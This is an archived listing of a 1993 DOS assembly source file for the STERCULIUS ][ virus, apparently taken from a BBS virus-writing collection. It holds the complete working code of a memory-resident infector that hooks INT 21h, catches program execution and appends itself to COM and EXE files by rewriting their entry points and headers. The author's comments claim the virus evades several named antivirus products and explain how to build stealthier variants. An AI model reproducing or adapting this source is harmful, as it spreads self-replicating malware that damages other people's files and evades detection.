home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / vir-docs / crptlt19.arj / STER2.ASM < prev    next >
Assembly Source File  |  1993-10-17  |  14KB  |  518 lines

  1. comment $
  2.  
  3.                    STERCULIUS ][ VIRUS
  4.  
  5.  
  6.     This is an 'upgrade build' of CRYPT #18's STERCULIUS virus.
  7.     I have made some changes, in particular STERCULIUS ][ now infects
  8.     EXE files as well as COM files.
  9.  
  10.     The procedure to infect EXE files is rather simple:
  11.  
  12.     Sterculius installs itself and its INT 21h handler in the memory
  13.     'hole' located after the interrupt vector table (reference:
  14.     CRYPT #18). The INT 21h handler checks when a file is executed;
  15.     then it opens it and determines whether it is a COM or an EXE
  16.     file by checking for a 'MZ' or 'ZM' at the beginning of the file.
  17.  
  18.     After the nature of the file has been determined, the virus proceeds
  19.     to read to EXE header and to modify the entry point field (CS:IP)
  20.     and the size of the load module/file (how many bytes get loaded from
  21.     the file to memory) on the header.
  22.  
  23.     Then, infection takes place and the new EXE header is written to
  24.     the file.
  25.  
  26.     Note that no change is made to the stack segment and the offset of
  27.     the original EXE infected file (SS:SP); in other words the virus
  28.     does not have its own stack segment and offset. I considered this
  29.     to be unnecessary since all well written EXE programs have a stack
  30.     segment (SS) far up in memory from the code segment (CS). The
  31.     danger of the virus corrupting itself when using the stack is
  32.     non-existent, considering the size of the virus and the fact that
  33.     on the installation part of STERCULIUS ][ the stack is barely used.
  34.  
  35.     The challenge when writing this 'upgrade' was to keep the code small
  36.     enough so it would work properly not corrupt the BIOS data
  37.     loaded by IO.SYS / IBMIO.SYS at segment 0040.
  38.  
  39.     Some original features of STERCULIUS have been commented out, to
  40.     downsize the code, but in most cases the virus will work perfectly
  41.     if they are included. 
  42.  
  43.     Here is how to make you own STERCULIUS ][ variant:
  44.  
  45.     Variant 1:
  46.           Uncomment (take out the ';' before the instructions)
  47.           in the following labeled parts:
  48.  
  49.           Save Attributes
  50.           Restore Attributes
  51.  
  52.           Compile and link.
  53.  
  54.     Variant 2:
  55.           Uncomment the following labeled parts:
  56.  
  57.           Save Date and time
  58.           Restore Date and Time
  59.  
  60.           Compile and link.
  61.  
  62.     Variant 3:
  63.           Uncomment the following labeled parts:
  64.  
  65.           Save Date and time
  66.           Restore Date and Time
  67.  
  68.           Save Attributes
  69.           Restore Attributes
  70.  
  71.           Compile and link.
  72.  
  73.  
  74.     Köhntark.
  75.  
  76. $
  77.  
  78.  
  79. ;*****************************************************************************
  80. ;          STERCULIUS ][ VIRUS
  81. ;
  82. ; AUTHOR:  Köhntark 
  83. ; DATE:    SEPTEMBER 1993
  84. ; Memory Resident COM, EXE infector
  85. ;
  86. ; Success:  F-prot 2.09D - VIRSTOP
  87. ;           VIREX 2.8
  88. ;           MSAV - will give warning, if 'continue' is pressed the
  89. ;                  all infections will go undetected
  90. ;           -D   -will install but -D will regain control of the INT 21
  91. ;           TBMEM 6.05 - will crash as it installs some instructions in the
  92. ;                        middle of the hole where Sterculius ][ resides
  93. ;
  94. ;
  95. ;*****************************************************************************
  96.  
  97. .model tiny
  98. .code
  99.         org 100h
  100.  
  101. START:                                                 
  102.         db      0E9h,03,00,'S'   ;Jump to Virus_Entry / infection ID
  103.  
  104. FAKE_HOST:                                
  105.         int     20h              ;host file terminate
  106.  
  107. ;-----------------------------------------------------------------------------
  108. VIRUS_ENTRY:
  109.  
  110.         call    INITIALIZE
  111.  
  112. F_NAME:         db      'STERCULIUS ]['      ;The Roman god of feces
  113.  
  114. INITIALIZE:
  115.         pop     si
  116.         sub     si,3
  117.         
  118.         push    es                   ;save original ES
  119.         push    ds                   ;save original DS
  120.         
  121.         push    cs                   ;fix DS and ES
  122.         push    cs
  123.         pop     es                   ;ES=CS
  124.         pop     ds                   ;DS=CS
  125.         mov     bp,si                ;save si
  126.  
  127.         cmp     WORD PTR [si + EXE_FLAG - VIRUS_ENTRY],00
  128.         jne     EXE_SKIP
  129.  
  130. ;*****************                
  131. ; Restore host
  132. ;*****************
  133.         
  134.         cld
  135.         lea     si,[si + HOST_STUB - VIRUS_ENTRY]
  136.         mov     di,0100h
  137.         movsw             ;from ds:si to es:di
  138.         movsw
  139.         mov     si,bp     ;restore si
  140.  
  141. EXE_SKIP:
  142.  
  143. ;***************************                
  144. ; Check if already resident
  145. ;***************************
  146.  
  147.         xor     ax,ax          ;AX=00
  148.         mov     es,ax          ;ES=00
  149.         mov     di,01E0h
  150.         cmp     WORD PTR es:[di + 3],'TS'
  151.         je      EXIT
  152.  
  153.         mov     cx,ZIZE
  154.         rep     movsb           ;move virus to 0000:01E0 from ds:si to es:di
  155.         
  156. ;***********************                
  157. ; Mov INT 21 address
  158. ;***********************
  159.         
  160.         sub     di,08        ;position destination pointer at REAL_INT_21
  161.         mov     si,21h * 4
  162.         mov     ds,ax        ;ds=0
  163.         movsw                ;from ds:si to es:di
  164.         movsw 
  165.         
  166. ;***********************                
  167. ;  Hook INT 21
  168. ;***********************
  169.  
  170.         mov     di,01E0h + OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
  171.         cli                           ;disable interrupts
  172.         mov     WORD PTR [si - 4],di  ;address of INT 21 handler
  173.         mov     WORD PTR [si - 2],ax  
  174.         sti                           ;enable interrupts  
  175.  
  176. EXIT:
  177.         pop     ds                   ;restore original ES
  178.         pop     es                   ;restore original ES      
  179.  
  180.         cmp     WORD PTR cs:[bp + EXE_FLAG - VIRUS_ENTRY],00
  181.         jne     EXE_RETURN
  182.  
  183.         mov     ax,0100h
  184.         push    ax
  185.         ret                 ;return to host
  186.  
  187. EXE_RETURN:
  188.         mov    bx,ds
  189.         add    bx,low 10h
  190.         mov    cx,bx
  191.  
  192.         add    cx,WORD PTR cs:[bp + CSIP - VIRUS_ENTRY + 2]
  193.         push   cx
  194.         push   WORD PTR cs:[bp + CSIP - VIRUS_ENTRY]
  195.         db     0CBh                                   ;retf
  196.  
  197. ;----------------------------------------------------------------------------
  198.  
  199. CSIP:
  200.         dd      0
  201. EXE_FLAG:       
  202.         dw      0
  203.  
  204. NEW_HOST_ENTRY:
  205.         db      0E9h,00,00,'S'
  206.  
  207. INT_21:
  208.         pushf  
  209.         call  DWORD PTR cs:[REALL_INT_21]
  210.         ret
  211.          
  212. QUICK_EXIT:         jmp     QUICK_OUT
  213. RESTORE_ATTRIBUTES: jmp     RESTORE_ATTRIBUTESS
  214. CLOSE_FILE:         jmp     CLOSE_FILEE
  215.  
  216. ;----------------------------------------------------------------------------
  217. INT_21_HANDLER:
  218.  
  219.          cmp     ah,4Bh           ;execute a file?
  220.          jne     QUICK_EXIT       ;quick exit handler
  221.          
  222.          push ax
  223.          push bx
  224.          push cx
  225.          push dx
  226.          push ds
  227.          push es
  228.          push si
  229.          push di
  230.          push bp
  231.          pushf
  232.  
  233.          push    cs 
  234.          pop     es                   ;ES=CS
  235.  
  236. ;***********************                
  237. ;  1-Save Attributes
  238. ;***********************
  239.  
  240.         ; mov     ax,4300h
  241.         ; call    INT_21
  242.         ; push    cx         ;save attributes to stack
  243.         ; push    ds
  244.         ; push    dx         ;ds:dx = pathname to file
  245.  
  246. ;***********************                
  247. ;  2-Klear Attributes
  248. ;***********************
  249.  
  250.          xor     cx,cx
  251.          mov     ax,4301h
  252.          call    INT_21
  253.          jc      QUICK_EXIT
  254.  
  255. ;***********************                
  256. ;  3-Open File
  257. ;***********************
  258.  
  259.          mov     ax,3D02h
  260.          call    INT_21
  261.          jc      RESTORE_ATTRIBUTES
  262.          xchg    bx,ax         ;file handle to bx
  263.  
  264. ;***********************                
  265. ;  4-Save Date & time
  266. ;***********************
  267.          
  268.          ;mov   ax,5700h
  269.          ;call  INT_21
  270.          ;push  dx              ;save date
  271.          ;push  cx              ;save time
  272.  
  273. ;********************************
  274. ;  5-Read 26 bytes / EXE header
  275. ;********************************
  276.  
  277.         mov     cx,26d               ;# of bytes to read
  278.         mov     dx,HOST_STUBB        ;buffer to read 4 / 26 bytes to
  279.         mov     si,dx
  280.         push    cs
  281.         pop     ds                   ;ds=cs
  282.  
  283.         mov     ah,3Fh
  284.         call    INT_21               ;read to ds:dx
  285.         jc      CLOSE_FILE
  286.  
  287. ;***********************                
  288. ;  6-Check File
  289. ;***********************
  290.  
  291.         cmp     WORD PTR [si],'ZM'     ;EXE file?
  292.         je      CHECK_EXE
  293.         cmp     WORD PTR [si],'MZ'     ;EXE file?
  294.         je      CHECK_EXE
  295.         cmp     BYTE PTR [si + 3],'S'  ;infected COM file?
  296.         je      CLOSE_FILE
  297.  
  298.         mov     di,OFFSET EXE_FLAGG    ;mark COM infection
  299.         mov     WORD PTR [di],00  ;COM
  300.         xor     di,di
  301.         jmp     short SKIP
  302.         
  303. ;***********************                
  304. ;  7-Check EXE
  305. ;***********************
  306.  
  307. CHECK_EXE:
  308.         cmp     WORD PTR [si + 12h],ID  ;infected EXE?
  309.         je      CLOSE_FILE
  310.         cmp     WORD PTR [si + 18h],40h ;WINDOWS EXE?
  311.         je      CLOSE_FILE
  312.  
  313. ;                cmp     WORD PTR [si + 1Ah],00  ;internal overlay EXE?
  314. ;                jne     CLOSE_FILE
  315.  
  316.         mov     di,EXE_FLAGG      ;MARK EXE infection
  317.         mov     WORD PTR [di],01  ;EXE
  318.         mov     di,01
  319.  
  320. SKIP:
  321.  
  322. ;***********************                
  323. ;  8-File PTR @EOF
  324. ;***********************
  325.         
  326.         mov     ax,4202h
  327.         xor     cx,cx
  328.         xor     dx,dx              ;cx = dx = 00
  329.         call    INT_21
  330.  
  331.         cmp     di,00    ;COM?
  332.         jne     DO_EXE
  333.  
  334. ;------------------------------------------------------???????????????????
  335.         
  336.         sub     ax,03     ;fix file size 
  337.         mov     bp,ax     ;address to jump to
  338.         
  339.         jmp     short WRITE_VIRUS
  340.  
  341. ;***********************                
  342. ;  9-SAVE CS:IP
  343. ;***********************
  344.  
  345. DO_EXE:
  346.         
  347.         push     bx       ;save file handle
  348.         push     si
  349.         push     di
  350.         cld
  351.         mov      di,CSIPP
  352.         add      si,14h         ;CS:IP in EXE hdr
  353.         movsw                   ;from ds:si
  354.         movsw                   ;to   es:di
  355.         pop      di
  356.         pop      si
  357.  
  358. ;**********************************                
  359. ;  10-CALCULATE / INSERT NEW CS:IP
  360. ;**********************************
  361.  
  362.         mov      bx,WORD PTR [si + 8] ;header size in paragraphs
  363.         mov      cl,04
  364.         shl      bx,cl                ;multiply by 16
  365.  
  366.         push     ax
  367.         push     dx                   ;save filesize
  368.  
  369.         sub      ax,bx                ;file size - header size
  370.         sbb      dx,00                ;fix upper half of size
  371.  
  372.         mov      cl,0Ch
  373.         shl      dx,cl                ;dx * 4096
  374.         mov      bx,ax
  375.         mov      cl,4
  376.         shr      bx,cl                ;ax / 16
  377.         add      dx,bx                ;CS = dx * 4096 + ax / 16
  378.         and      ax,0Fh               ;IP = ax and 0Fh
  379.  
  380.         mov      WORD PTR [si + 12h],ID 
  381.         mov      WORD PTR [si + 14h],ax ;IP
  382.         mov      WORD PTR [si + 16h],dx ;CS
  383.  
  384.         pop      dx
  385.         pop      ax                   ;restore filesize
  386.  
  387. ;**********************************                
  388. ;  11-CALCULATE / INSERT FILESIZE
  389. ;**********************************
  390.         
  391.         add      ax,ZIZE  ;add virus size
  392.         adc      dx,00    ;add virus size
  393.  
  394.         push     ax
  395.         mov      cl,09h   ;2^9 = 512
  396.         ror      dx,cl    ;dx / 512
  397.         shr      ax,cl    ;ax / 512
  398.         stc               ;set carry flag
  399.         adc      dx,ax
  400.                           pop      cx       ;original ax
  401.         and      ch,01    ;mod 512
  402.  
  403.         mov      WORD PTR [si + 4],dx ;page count
  404.         mov      WORD PTR [si + 2],cx ;remainder
  405.  
  406.         pop      bx                    ;restore file handle
  407.  
  408. ;***********************                
  409. ;  12-Write Virus
  410. ;***********************
  411.  
  412. WRITE_VIRUS:
  413.  
  414.            mov     ah,40h
  415.            mov     cx,ZIZE    ;cx = #of bytes
  416.            mov     dx,01E0h   ;dx = write from here
  417.            call    INT_21
  418.  
  419. ;***********************                
  420. ;  13-Set PTR @BOF
  421. ;***********************
  422.         
  423.            mov     ax,4200h  
  424.            xor     cx,cx
  425.            xor     dx,dx               ;cx = dx = 00
  426.            call    INT_21
  427.  
  428.            cmp     di,01     ;EXE?
  429.            je      WRITE_EXE_HDR
  430.  
  431. ;***********************                
  432. ;  14-Write new jump
  433. ;***********************
  434.  
  435.            mov     cx,4                      ;# of bytes to write
  436.            mov     dx,NEW_HOST_ENTRYY        ;dx = write from here
  437.            mov     si,dx
  438.            mov     WORD PTR [si + 1],bp      ;insert new address
  439.            jmp     short CONT 
  440.  
  441. ;***********************                
  442. ;  15-Write new EXE hdr
  443. ;***********************
  444.  
  445. WRITE_EXE_HDR:                
  446.            mov     cx,24d               ;# of bytes to write
  447.            mov     dx,HOST_STUBB        ;buffer to write 4 bytes from
  448.            
  449. CONT:               
  450.            mov     ah,40h
  451.            call    INT_21
  452.  
  453. CLOSE_FILEE:  
  454.         
  455. ;*************************                
  456. ;  16-Restore Date & time
  457. ;*************************
  458.          
  459.            ;pop   cx       ;restore time
  460.            ;pop   dx       ;restore date
  461.            ;mov   ax,5701h
  462.            ;call  INT_21
  463.  
  464. ;***********************                
  465. ;  17-Klose File
  466. ;***********************
  467.            
  468.            mov     ah,3Eh 
  469.            call    INT_21
  470.          
  471. ;************************                
  472. ;  18-Restore Attributes
  473. ;************************
  474.  
  475. RESTORE_ATTRIBUTESS:
  476.            
  477.           ; mov     ax,4301h
  478.           ; pop     dx         ;ds:dx = pathname to file
  479.           ; pop     ds         ;restore pathname
  480.           ; pop     cx         ;restore old attributes
  481.           ; call    INT_21
  482.  
  483. ;***********************                
  484. ;  Restore registers
  485. ;***********************
  486.  
  487. EXIT_HANDLER:                   
  488.          popf
  489.          pop  bp
  490.          pop  di
  491.          pop  si
  492.          pop  es
  493.          pop  ds
  494.          pop  dx
  495.          pop  cx
  496.          pop  bx
  497.          pop  ax
  498.         
  499. QUICK_OUT:       db   0EAh                      ; jmp OFFSET:SEGMENT
  500. REAL_INT_21:     db   00,00,00,00
  501. HOST_STUB:       db   90h,090h,090h,090h        ;4 byte COM stub / EXE HDR  
  502.            
  503. END_VIRUS:                
  504.  
  505. ;-----------------------------------------------------------------------------
  506.  
  507. ZIZE             equ     OFFSET END_VIRUS              - VIRUS_ENTRY 
  508. REALL_INT_21     equ     01E0h + OFFSET REAL_INT_21    - OFFSET VIRUS_ENTRY
  509. HOST_STUBB       equ     01E0h + OFFSET HOST_STUB      - OFFSET VIRUS_ENTRY     
  510. NEW_HOST_ENTRYY  equ     01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
  511. CSIPP            equ     01E0h + OFFSET CSIP           - OFFSET VIRUS_ENTRY
  512. EXE_FLAGG        equ     01E0h + OFFSET EXE_FLAG       - OFFSET VIRUS_ENTRY
  513. ID               equ     7777h
  514.  
  515. END             START
  516.         
  517.  
  518.